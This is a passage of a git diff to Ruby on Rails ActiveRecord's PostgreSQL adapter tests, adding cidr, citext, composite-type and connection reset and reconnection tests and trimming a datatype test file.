+      class CidrTest < ActiveRecord::TestCase
+        test "type casting IPAddr for database" do
+          type = OID::Cidr.new
+          ip = IPAddr.new("255.0.0.0/8")
+          ip2 = IPAddr.new("127.0.0.1")
+
+          assert_equal "255.0.0.0/8", type.type_cast_for_database(ip)
+          assert_equal "127.0.0.1/32", type.type_cast_for_database(ip2)
+        end
+
+        test "casting does nothing with non-IPAddr objects" do
+          type = OID::Cidr.new
+
+          assert_equal "foo", type.type_cast_for_database("foo")
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/citext_test.rb b/activerecord/test/cases/adapters/postgresql/citext_test.rb
new file mode 100644
index 0000000000..0ee2a21484
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/citext_test.rb
@@ -0,0 +1,78 @@
+require 'cases/helper'
+require 'support/schema_dumping_helper'
+
+if ActiveRecord::Base.connection.supports_extensions?
+  class PostgresqlCitextTest < ActiveRecord::TestCase
+    include SchemaDumpingHelper
+    class Citext < ActiveRecord::Base
+      self.table_name = 'citexts'
+    end
+
+    def setup
+      @connection = ActiveRecord::Base.connection
+
+      enable_extension!('citext', @connection)
+
+      @connection.create_table('citexts') do |t|
+        t.citext 'cival'
+      end
+    end
+
+    teardown do
+      @connection.execute 'DROP TABLE IF EXISTS citexts;'
+      disable_extension!('citext', @connection)
+    end
+
+    def test_citext_enabled
+      assert @connection.extension_enabled?('citext')
+    end
+
+    def test_column
+      column = Citext.columns_hash['cival']
+      assert_equal :citext, column.type
+      assert_equal 'citext', column.sql_type
+      assert_not column.array?
+
+      type = Citext.type_for_attribute('cival')
+      assert_not type.binary?
+    end
+
+    def test_change_table_supports_json
+      @connection.transaction do
+        @connection.change_table('citexts') do |t|
+          t.citext 'username'
+        end
+        Citext.reset_column_information
+        column = Citext.columns_hash['username']
+        assert_equal :citext, column.type
+
+        raise ActiveRecord::Rollback # reset the schema change
+      end
+    ensure
+      Citext.reset_column_information
+    end
+
+    def test_write
+      x = Citext.new(cival: 'Some CI Text')
+      x.save!
+      citext = Citext.first
+      assert_equal "Some CI Text", citext.cival
+
+      citext.cival = "Some NEW CI Text"
+      citext.save!
+
+      assert_equal "Some NEW CI Text", citext.reload.cival
+    end
+
+    def test_select_case_insensitive
+      @connection.execute "insert into citexts (cival) values('Cased Text')"
+      x = Citext.where(cival: 'cased text').first
+      assert_equal 'Cased Text', x.cival
+    end
+
+    def test_schema_dump_with_shorthand
+      output = dump_table_schema("citexts")
+      assert_match %r[t\.citext "cival"], output
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/composite_test.rb b/activerecord/test/cases/adapters/postgresql/composite_test.rb
new file mode 100644
index 0000000000..83dfb18e95
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/composite_test.rb
@@ -0,0 +1,132 @@
+require "cases/helper"
+require 'support/connection_helper'
+
+module PostgresqlCompositeBehavior
+  include ConnectionHelper
+
+  class PostgresqlComposite < ActiveRecord::Base
+    self.table_name = "postgresql_composites"
+  end
+
+  def setup
+    super
+
+    @connection = ActiveRecord::Base.connection
+    @connection.transaction do
+      @connection.execute <<-SQL
+         CREATE TYPE full_address AS
+         (
+             city VARCHAR(90),
+             street VARCHAR(90)
+         );
+        SQL
+      @connection.create_table('postgresql_composites') do |t|
+        t.column :address, :full_address
+      end
+    end
+  end
+
+  def teardown
+    super
+
+    @connection.execute 'DROP TABLE IF EXISTS postgresql_composites'
+    @connection.execute 'DROP TYPE IF EXISTS full_address'
+    reset_connection
+    PostgresqlComposite.reset_column_information
+  end
+end
+
+# Composites are mapped to `OID::Identity` by default. The user is informed by a warning like:
+#   "unknown OID 5653508: failed to recognize type of 'address'. It will be treated as String."
+# To take full advantage of composite types, we suggest you register your own +OID::Type+.
+# See PostgresqlCompositeWithCustomOIDTest
+class PostgresqlCompositeTest < ActiveRecord::TestCase
+  include PostgresqlCompositeBehavior
+
+  def test_column
+    ensure_warning_is_issued
+
+    column = PostgresqlComposite.columns_hash["address"]
+    assert_nil column.type
+    assert_equal "full_address", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlComposite.type_for_attribute("address")
+    assert_not type.binary?
+  end
+
+  def test_composite_mapping
+    ensure_warning_is_issued
+
+    @connection.execute "INSERT INTO postgresql_composites VALUES (1, ROW('Paris', 'Champs-Élysées'));"
+    composite = PostgresqlComposite.first
+    assert_equal "(Paris,Champs-Élysées)", composite.address
+
+    composite.address = "(Paris,Rue Basse)"
+    composite.save!
+
+    assert_equal '(Paris,"Rue Basse")', composite.reload.address
+  end
+
+  private
+  def ensure_warning_is_issued
+    warning = capture(:stderr) do
+      PostgresqlComposite.columns_hash
+    end
+    assert_match(/unknown OID \d+: failed to recognize type of 'address'\. It will be treated as String\./, warning)
+  end
+end
+
+class PostgresqlCompositeWithCustomOIDTest < ActiveRecord::TestCase
+  include PostgresqlCompositeBehavior
+
+  class FullAddressType < ActiveRecord::Type::Value
+    def type; :full_address end
+
+    def type_cast_from_database(value)
+      if value =~ /\("?([^",]*)"?,"?([^",]*)"?\)/
+        FullAddress.new($1, $2)
+      end
+    end
+
+    def type_cast_from_user(value)
+      value
+    end
+
+    def type_cast_for_database(value)
+      return if value.nil?
+      "(#{value.city},#{value.street})"
+    end
+  end
+
+  FullAddress = Struct.new(:city, :street)
+
+  def setup
+    super
+
+    @connection.type_map.register_type "full_address", FullAddressType.new
+  end
+
+  def test_column
+    column = PostgresqlComposite.columns_hash["address"]
+    assert_equal :full_address, column.type
+    assert_equal "full_address", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlComposite.type_for_attribute("address")
+    assert_not type.binary?
+  end
+
+  def test_composite_mapping
+    @connection.execute "INSERT INTO postgresql_composites VALUES (1, ROW('Paris', 'Champs-Élysées'));"
+    composite = PostgresqlComposite.first
+    assert_equal "Paris", composite.address.city
+    assert_equal "Champs-Élysées", composite.address.street
+
+    composite.address = FullAddress.new("Paris", "Rue Basse")
+    composite.save!
+
+    assert_equal 'Paris', composite.reload.address.city
+    assert_equal 'Rue Basse', composite.reload.address.street
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/connection_test.rb b/activerecord/test/cases/adapters/postgresql/connection_test.rb
index 6b726ce875..7bf8d12eae 100644
--- a/activerecord/test/cases/adapters/postgresql/connection_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/connection_test.rb
@@ -1,20 +1,33 @@
 require "cases/helper"
+require 'support/connection_helper'
 
 module ActiveRecord
   class PostgresqlConnectionTest < ActiveRecord::TestCase
+    include ConnectionHelper
+
     class NonExistentTable < ActiveRecord::Base
     end
 
+    fixtures :comments
+
     def setup
       super
+      @subscriber = SQLSubscriber.new
+      @subscription = ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
       @connection = ActiveRecord::Base.connection
-      @connection.extend(LogIntercepter)
-      @connection.intercepted = true
     end
 
     def teardown
-      @connection.intercepted = false
-      @connection.logged = []
+      ActiveSupport::Notifications.unsubscribe(@subscription)
+      super
+    end
+
+    def test_truncate
+      count = ActiveRecord::Base.connection.execute("select count(*) from comments").first['count'].to_i
+      assert_operator count, :>, 0
+      ActiveRecord::Base.connection.truncate("comments")
+      count = ActiveRecord::Base.connection.execute("select count(*) from comments").first['count'].to_i
+      assert_equal 0, count
     end
 
     def test_encoding
@@ -45,60 +58,111 @@ module ActiveRecord
       assert_equal 'off', expect
     end
 
+    def test_reset
+      @connection.query('ROLLBACK')
+      @connection.query('SET geqo TO off')
+
+      # Verify the setting has been applied.
+      expect = @connection.query('show geqo').first.first
+      assert_equal 'off', expect
+
+      @connection.reset!
+
+      # Verify the setting has been cleared.
+      expect = @connection.query('show geqo').first.first
+      assert_equal 'on', expect
+    end
+
+    def test_reset_with_transaction
+      @connection.query('ROLLBACK')
+      @connection.query('SET geqo TO off')
+
+      # Verify the setting has been applied.
+      expect = @connection.query('show geqo').first.first
+      assert_equal 'off', expect
+
+      @connection.query('BEGIN')
+      @connection.reset!
+
+      # Verify the setting has been cleared.
+      expect = @connection.query('show geqo').first.first
+      assert_equal 'on', expect
+    end
+
     def test_tables_logs_name
       @connection.tables('hello')
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
     def test_indexes_logs_name
       @connection.indexes('items', 'hello')
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
     def test_table_exists_logs_name
       @connection.table_exists?('items')
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
     def test_table_alias_length_logs_name
       @connection.instance_variable_set("@table_alias_length", nil)
       @connection.table_alias_length
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
     def test_current_database_logs_name
       @connection.current_database
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
     def test_encoding_logs_name
       @connection.encoding
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
     def test_schema_names_logs_name
       @connection.schema_names
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
-    # Must have with_manual_interventions set to true for this
-    # test to run.
+    def test_statement_key_is_logged
+      bind = Relation::QueryAttribute.new(nil, 1, Type::Value.new)
+      @connection.exec_query('SELECT $1::integer', 'SQL', [bind])
+      name = @subscriber.payloads.last[:statement_name]
+      assert name
+      res = @connection.exec_query("EXPLAIN (FORMAT JSON) EXECUTE #{name}(1)")
+      plan = res.column_types['QUERY PLAN'].type_cast_from_database res.rows.first.first
+      assert_operator plan.length, :>, 0
+    end
+
+    # Must have PostgreSQL >= 9.2, or with_manual_interventions set to
+    # true for this test to run.
+    #
     # When prompted, restart the PostgreSQL server with the
     # "-m fast" option or kill the individual connection assuming
     # you know the incantation to do that.
     # To restart PostgreSQL 9.1 on OS X, installed via MacPorts, ...
     # sudo su postgres -c "pg_ctl restart -D /opt/local/var/db/postgresql91/defaultdb/ -m fast"
     def test_reconnection_after_actual_disconnection_with_verify
-      skip "with_manual_interventions is false in configuration" unless ARTest.config['with_manual_interventions']
-
       original_connection_pid = @connection.query('select pg_backend_pid()')
 
       # Sanity check.
       assert @connection.active?
 
-      puts 'Kill the connection now (e.g. by restarting the PostgreSQL ' +
-           'server with the "-m fast" option) and then press enter.'
-      $stdin.gets
+      if @connection.send(:postgresql_version) >= 90200
+        secondary_connection = ActiveRecord::Base.connection_pool.checkout
+        secondary_connection.query("select pg_terminate_backend(#{original_connection_pid.first.first})")
+        ActiveRecord::Base.connection_pool.checkin(secondary_connection)
+      elsif ARTest.config['with_manual_interventions']
+        puts 'Kill the connection now (e.g. by restarting the PostgreSQL ' +
+          'server with the "-m fast" option) and then press enter.'
+        $stdin.gets
+      else
+        # We're not capable of terminating the backend ourselves, and
+        # we're not allowed to seek assistance; bail out without
+        # actually testing anything.
+        return
+      end
 
       @connection.verify!
 
@@ -113,9 +177,7 @@ module ActiveRecord
         "successfully querying with the same connection pid."
 
       # Repair all fixture connections so other tests won't break.
-      @fixture_connections.each do |c|
-        c.verify!
-      end
+      @fixture_connections.each(&:verify!)
     end
 
     def test_set_session_variable_true
@@ -147,17 +209,5 @@ module ActiveRecord
         ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:debug_print_plan => :default}}))
       end
     end
-
-    private
-
-    def run_without_connection
-      original_connection = ActiveRecord::Base.remove_connection
-      begin
-        yield original_connection
-      ensure
-        ActiveRecord::Base.establish_connection(original_connection)
-      end
-    end
-
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/datatype_test.rb b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
index 3dbab08a99..4f48a7bce3 100644
--- a/activerecord/test/cases/adapters/postgresql/datatype_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
@@ -1,38 +1,13 @@
 require "cases/helper"
+require 'support/ddl_helper'
 
-class PostgresqlArray < ActiveRecord::Base
-end
-
-class PostgresqlRange < ActiveRecord::Base
-end
-
-class PostgresqlTsvector < ActiveRecord::Base
-end
-
-class PostgresqlMoney < ActiveRecord::Base
-end
-
-class PostgresqlNumber < ActiveRecord::Base
-end
 
 class PostgresqlTime < ActiveRecord::Base
 end
 
-class PostgresqlNetworkAddress < ActiveRecord::Base
-end
-
-class PostgresqlBitString < ActiveRecord::Base
-end
-
 class PostgresqlOid < ActiveRecord::Base
 end
 
-class PostgresqlTimestampWithZone < ActiveRecord::Base
-end
-
-class PostgresqlUUID < ActiveRecord::Base
-end
-
 class PostgresqlLtree < ActiveRecord::Base
 end
 
@@ -41,170 +16,16 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
 
   def setup
     @connection = ActiveRecord::Base.connection
-    @connection.execute("set lc_monetary = 'C'")
-
-    @connection.execute("INSERT INTO postgresql_arrays (id, commission_by_quarter, nicknames) VALUES (1, '{35000,21000,18000,17000}', '{foo,bar,baz}')")
-    @first_array = PostgresqlArray.find(1)
-
-    @connection.execute <<_SQL if @connection.supports_ranges?
-    INSERT INTO postgresql_ranges (
-      date_range,
-      num_range,
-      ts_range,
-      tstz_range,
-      int4_range,
-      int8_range
-    ) VALUES (
-      '[''2012-01-02'', ''2012-01-04'']',
-      '[0.1, 0.2]',
-      '[''2010-01-01 14:30'', ''2011-01-01 14:30'']',
-      '[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']',
-      '[1, 10]',
-      '[10, 100]'
-    )
-_SQL
-
-    @connection.execute <<_SQL if @connection.supports_ranges?
-    INSERT INTO postgresql_ranges (
-      date_range,
-      num_range,
-      ts_range,
-      tstz_range,
-      int4_range,
-      int8_range
-    ) VALUES (
-      '(''2012-01-02'', ''2012-01-04'')',
-      '[0.1, 0.2)',
-      '[''2010-01-01 14:30'', ''2011-01-01 14:30'')',
-      '[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')',
-      '(1, 10)',
-      '(10, 100)'
-    )
-_SQL
-
-    @connection.execute <<_SQL if @connection.supports_ranges?
-    INSERT INTO postgresql_ranges (
-      date_range,
-      num_range,
-      ts_range,
-      tstz_range,
-      int4_range,
-      int8_range
-    ) VALUES (
-      '(''2012-01-02'',]',
-      '[0.1,]',
-      '[''2010-01-01 14:30'',]',
-      '[''2010-01-01 14:30:00+05'',]',
-      '(1,]',
-      '(10,]'
-    )
-_SQL
-
-    @connection.execute <<_SQL if @connection.supports_ranges?
-    INSERT INTO postgresql_ranges (
-      date_range,
-      num_range,
-      ts_range,
-      tstz_range,
-      int4_range,
-      int8_range
-    ) VALUES (
-      '[,]',
-      '[,]',
-      '[,]',
-      '[,]',
-      '[,]',
-      '[,]'
-    )
-_SQL
-
-    @connection.execute <<_SQL if @connection.supports_ranges?
-    INSERT INTO postgresql_ranges (
-      date_range,
-      num_range,
-      ts_range,
-      tstz_range,
-      int4_range,
-      int8_range
-    ) VALUES (
-      '(''2012-01-02'', ''2012-01-02'')',
-      '(0.1, 0.1)',
-      '(''2010-01-01 14:30'', ''2010-01-01 14:30'')',
-      '(''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')',
-      '(1, 1)',
-      '(10, 10)'
-    )
-_SQL
-
-    if @connection.supports_ranges?
-      @first_range = PostgresqlRange.find(1)
-      @second_range = PostgresqlRange.find(2)
-      @third_range = PostgresqlRange.find(3)
-      @fourth_range = PostgresqlRange.find(4)
-      @empty_range = PostgresqlRange.find(5)
-    end
-
-    @connection.execute("INSERT INTO postgresql_tsvectors (id, text_vector) VALUES (1, ' ''text'' ''vector'' ')")
-
-    @first_tsvector = PostgresqlTsvector.find(1)
-
-    @connection.execute("INSERT INTO postgresql_moneys (id, wealth) VALUES (1, '567.89'::money)")
-    @connection.execute("INSERT INTO postgresql_moneys (id, wealth) VALUES (2, '-567.89'::money)")
-    @first_money = PostgresqlMoney.find(1)
-    @second_money = PostgresqlMoney.find(2)
-
-    @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (1, 123.456, 123456.789)")
-    @first_number = PostgresqlNumber.find(1)
 
     @connection.execute("INSERT INTO postgresql_times (id, time_interval, scaled_time_interval) VALUES (1, '1 year 2 days ago', '3 weeks ago')")
     @first_time = PostgresqlTime.find(1)
 
-    @connection.execute("INSERT INTO postgresql_network_addresses (id, cidr_address, inet_address, mac_address) VALUES(1, '192.168.0/24', '172.16.1.254/32', '01:23:45:67:89:0a')")
-    @first_network_address = PostgresqlNetworkAddress.find(1)
-
-    @connection.execute("INSERT INTO postgresql_bit_strings (id, bit_string, bit_string_varying) VALUES (1, B'00010101', X'15')")
-    @first_bit_string = PostgresqlBitString.find(1)
-
     @connection.execute("INSERT INTO postgresql_oids (id, obj_id) VALUES (1, 1234)")
     @first_oid = PostgresqlOid.find(1)
-
-    @connection.execute("INSERT INTO postgresql_timestamp_with_zones (id, time) VALUES (1, '2010-01-01 10:00:00-1')")
-
-    @connection.execute("INSERT INTO postgresql_uuids (id, guid, compact_guid) VALUES(1, 'd96c3da0-96c1-012f-1316-64ce8f32c6d8', 'f06c715096c1012f131764ce8f32c6d8')")
-    @first_uuid = PostgresqlUUID.find(1)
   end
 
-  def teardown
-    [PostgresqlArray, PostgresqlTsvector, PostgresqlMoney, PostgresqlNumber, PostgresqlTime, PostgresqlNetworkAddress,
-     PostgresqlBitString, PostgresqlOid, PostgresqlTimestampWithZone, PostgresqlUUID].each(&:delete_all)
-  end
-
-  def test_data_type_of_array_types
-    assert_equal :integer, @first_array.column_for_attribute(:commission_by_quarter).type
-    assert_equal :text, @first_array.column_for_attribute(:nicknames).type
-  end
-
-  def test_data_type_of_range_types
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
-    assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
-    assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
-    assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
-    assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
-    assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
-  end
-
-  def test_data_type_of_tsvector_types
-    assert_equal :tsvector, @first_tsvector.column_for_attribute(:text_vector).type
-  end
-
-  def test_data_type_of_money_types
-    assert_equal :decimal, @first_money.column_for_attribute(:wealth).type
-  end
-
-  def test_data_type_of_number_types
-    assert_equal :float, @first_number.column_for_attribute(:single).type
-    assert_equal :float, @first_number.column_for_attribute(:double).type
+  teardown do
+    [PostgresqlTime, PostgresqlOid].each(&:delete_all)
   end
 
   def test_data_type_of_time_types
@@ -212,322 +33,19 @@ _SQL
     assert_equal :string, @first_time.column_for_attribute(:scaled_time_interval).type
   end
 
-  def test_data_type_of_network_address_types
-    assert_equal :cidr, @first_network_address.column_for_attribute(:cidr_address).type
-    assert_equal :inet, @first_network_address.column_for_attribute(:inet_address).type
-    assert_equal :macaddr, @first_network_address.column_for_attribute(:mac_address).type
-  end
-
-  def test_data_type_of_bit_string_types
-    assert_equal :string, @first_bit_string.column_for_attribute(:bit_string).type
-    assert_equal :string, @first_bit_string.column_for_attribute(:bit_string_varying).type
-  end
-
   def test_data_type_of_oid_types
     assert_equal :integer, @first_oid.column_for_attribute(:obj_id).type
   end
 
-  def test_data_type_of_uuid_types
-    assert_equal :uuid, @first_uuid.column_for_attribute(:guid).type
-  end
-
-  def test_array_values
-   assert_equal [35000,21000,18000,17000], @first_array.commission_by_quarter
-   assert_equal ['foo','bar','baz'], @first_array.nicknames
-  end
-
-  def test_tsvector_values
-    assert_equal "'text' 'vector'", @first_tsvector.text_vector
-  end
-
-  def test_int4range_values
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    assert_equal 1...11, @first_range.int4_range
-    assert_equal 2...10, @second_range.int4_range
-    assert_equal 2...Float::INFINITY, @third_range.int4_range
-    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
-    assert_nil @empty_range.int4_range
-  end
-
-  def test_int8range_values
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    assert_equal 10...101, @first_range.int8_range
-    assert_equal 11...100, @second_range.int8_range
-    assert_equal 11...Float::INFINITY, @third_range.int8_range
-    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
-    assert_nil @empty_range.int8_range
-  end
-
-  def test_daterange_values
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
-    assert_equal Date.new(2012, 1, 3)...Date.new(2012, 1, 4), @second_range.date_range
-    assert_equal Date.new(2012, 1, 3)...Float::INFINITY, @third_range.date_range
-    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
-    assert_nil @empty_range.date_range
-  end
-
-  def test_numrange_values
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    assert_equal BigDecimal.new('0.1')..BigDecimal.new('0.2'), @first_range.num_range
-    assert_equal BigDecimal.new('0.1')...BigDecimal.new('0.2'), @second_range.num_range
-    assert_equal BigDecimal.new('0.1')...BigDecimal.new('Infinity'), @third_range.num_range
-    assert_equal BigDecimal.new('-Infinity')...BigDecimal.new('Infinity'), @fourth_range.num_range
-    assert_nil @empty_range.num_range
-  end
-
-  def test_tsrange_values
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    tz = ::ActiveRecord::Base.default_timezone
-    assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)..Time.send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
-    assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
-    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
-    assert_nil @empty_range.ts_range
-  end
-
-  def test_tstzrange_values
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    assert_equal Time.parse('2010-01-01 09:30:00 UTC')..Time.parse('2011-01-01 17:30:00 UTC'), @first_range.tstz_range
-    assert_equal Time.parse('2010-01-01 09:30:00 UTC')...Time.parse('2011-01-01 17:30:00 UTC'), @second_range.tstz_range
-    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
-    assert_nil @empty_range.tstz_range
-  end
-
-  def test_money_values
-    assert_equal 567.89, @first_money.wealth
-    assert_equal(-567.89, @second_money.wealth)
-  end
-
-  def test_money_type_cast
-    column = PostgresqlMoney.columns.find { |c| c.name == 'wealth' }
-    assert_equal(12345678.12, column.type_cast("$12,345,678.12"))
-    assert_equal(12345678.12, column.type_cast("$12.345.678,12"))
-    assert_equal(-1.15, column.type_cast("-$1.15"))
-    assert_equal(-2.25, column.type_cast("($2.25)"))
-  end
-
-  def test_create_tstzrange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    tstzrange = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2011-02-02 14:30:00 CDT')
-    range = PostgresqlRange.new(:tstz_range => tstzrange)
-    assert range.save
-    assert range.reload
-    assert_equal range.tstz_range, tstzrange
-    assert_equal range.tstz_range, Time.parse('2010-01-01 13:30:00 UTC')...Time.parse('2011-02-02 19:30:00 UTC')
-  end
-
-  def test_update_tstzrange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    new_tstzrange = Time.parse('2010-01-01 14:30:00 CDT')...Time.parse('2011-02-02 14:30:00 CET')
-    @first_range.tstz_range = new_tstzrange
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal new_tstzrange, @first_range.tstz_range
-    @first_range.tstz_range = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2010-01-01 13:30:00 +0000')
-    assert @first_range.save
-    assert @first_range.reload
-    assert_nil @first_range.tstz_range
-  end
-
-  def test_create_tsrange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    tz = ::ActiveRecord::Base.default_timezone
-    tsrange = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0)
-    range = PostgresqlRange.new(:ts_range => tsrange)
-    assert range.save
-    assert range.reload
-    assert_equal range.ts_range, tsrange
-  end
-
-  def test_update_tsrange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    tz = ::ActiveRecord::Base.default_timezone
-    new_tsrange = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0)
-    @first_range.ts_range = new_tsrange
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal new_tsrange, @first_range.ts_range
-    @first_range.ts_range = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0)
-    assert @first_range.save
-    assert @first_range.reload
-    assert_nil @first_range.ts_range
-  end
-
-  def test_create_numrange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    numrange = BigDecimal.new('0.5')...BigDecimal.new('1')
-    range = PostgresqlRange.new(:num_range => numrange)
-    assert range.save
-    assert range.reload
-    assert_equal range.num_range, numrange
-  end
-
-  def test_update_numrange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    new_numrange = BigDecimal.new('0.5')...BigDecimal.new('1')
-    @first_range.num_range = new_numrange
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal new_numrange, @first_range.num_range
-    @first_range.num_range = BigDecimal.new('0.5')...BigDecimal.new('0.5')
-    assert @first_range.save
-    assert @first_range.reload
-    assert_nil @first_range.num_range
-  end
-
-  def test_create_daterange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    daterange = Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true)
-    range = PostgresqlRange.new(:date_range => daterange)
-    assert range.save
-    assert range.reload
-    assert_equal range.date_range, daterange
-  end
-
-  def test_update_daterange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    new_daterange = Date.new(2012, 2, 3)...Date.new(2012, 2, 10)
-    @first_range.date_range = new_daterange
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal new_daterange, @first_range.date_range
-    @first_range.date_range = Date.new(2012, 2, 3)...Date.new(2012, 2, 3)
-    assert @first_range.save
-    assert @first_range.reload
-    assert_nil @first_range.date_range
-  end
-
-  def test_create_int4range
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    int4range = Range.new(3, 50, true)
-    range = PostgresqlRange.new(:int4_range => int4range)
-    assert range.save
-    assert range.reload
-    assert_equal range.int4_range, int4range
-  end
-
-  def test_update_int4range
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    new_int4range = 6...10
-    @first_range.int4_range = new_int4range
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal new_int4range, @first_range.int4_range
-    @first_range.int4_range = 3...3
-    assert @first_range.save
-    assert @first_range.reload
-    assert_nil @first_range.int4_range
-  end
-
-  def test_create_int8range
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    int8range = Range.new(30, 50, true)
-    range = PostgresqlRange.new(:int8_range => int8range)
-    assert range.save
-    assert range.reload
-    assert_equal range.int8_range, int8range
-  end
-
-  def test_update_int8range
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    new_int8range = 60000...10000000
-    @first_range.int8_range = new_int8range
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal new_int8range, @first_range.int8_range
-    @first_range.int8_range = 39999...39999
-    assert @first_range.save
-    assert @first_range.reload
-    assert_nil @first_range.int8_range
-  end
-
-  def test_update_tsvector
-    new_text_vector = "'new' 'text' 'vector'"
-    @first_tsvector.text_vector = new_text_vector
-    assert @first_tsvector.save
-    assert @first_tsvector.reload
-    @first_tsvector.text_vector = new_text_vector
-    assert @first_tsvector.save
-    assert @first_tsvector.reload
-    assert_equal new_text_vector, @first_tsvector.text_vector
-  end
-
-  def test_number_values
-    assert_equal 123.456, @first_number.single
-    assert_equal 123456.789, @first_number.double
-  end
-
   def test_time_values
     assert_equal '-1 years -2 days', @first_time.time_interval
     assert_equal '-21 days', @first_time.scaled_time_interval
   end
 
-  def test_network_address_values_ipaddr
-    cidr_address = IPAddr.new '192.168.0.0/24'
-    inet_address = IPAddr.new '172.16.1.254'
-
-    assert_equal cidr_address, @first_network_address.cidr_address
-    assert_equal inet_address, @first_network_address.inet_address
-    assert_equal '01:23:45:67:89:0a', @first_network_address.mac_address
-  end
-
-  def test_uuid_values
-    assert_equal 'd96c3da0-96c1-012f-1316-64ce8f32c6d8', @first_uuid.guid
-    assert_equal 'f06c7150-96c1-012f-1317-64ce8f32c6d8', @first_uuid.compact_guid
-  end
-
-  def test_bit_string_values
-    assert_equal '00010101', @first_bit_string.bit_string
-    assert_equal '00010101', @first_bit_string.bit_string_varying
-  end
-
   def test_oid_values
     assert_equal 1234, @first_oid.obj_id
   end
 
-  def test_update_integer_array
-    new_value = [32800,95000,29350,17000]
-    @first_array.commission_by_quarter = new_value
-    assert @first_array.save
-    assert @first_array.reload
-    assert_equal new_value, @first_array.commission_by_quarter
-    @first_array.commission_by_quarter = new_value
-    assert @first_array.save
-    assert @first_array.reload
-    assert_equal new_value, @first_array.commission_by_quarter
-  end
-
-  def test_update_text_array
-    new_value = ['robby','robert','rob','robbie']
